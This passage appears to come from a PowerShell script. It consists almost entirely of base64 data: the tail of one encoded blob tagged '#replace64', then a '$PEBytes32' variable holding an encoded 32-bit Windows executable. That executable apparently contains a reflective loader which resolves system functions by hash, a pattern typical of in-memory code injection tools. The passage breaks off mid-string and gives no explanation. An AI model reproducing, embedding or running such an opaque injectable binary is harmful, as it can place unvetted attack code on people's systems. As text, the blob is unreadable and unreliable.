AEARAQBnEQEAYIMBAGcRAQCFEQEAYIMBAIURAQCpEQEAYIMBAKkRAQDBEQEAYIMBAMERAQDaEQEAYIMBANoRAQACEgEAYIMBAAISAQAbEgEAYIMBABsSAQA4EgEAYIMBADgSAQBREgEAYIMBAFESAQBqEgEAYIMBAGoSAQCFEgEAYIMBAIUSAQCcEgEAYIMBAJwSAQC1EgEAYIMBAMASAQDgEgEAYIMBAOASAQD0EgEAYIMBAPQSAQASEwEAYIMBABITAQAqEwEAYIMBACoTAQBDEwEAYIMBAEMTAQBcEwEAYIMBAFwTAQBzEwEAYIMBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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' #replace64 +$PEBytes32 = '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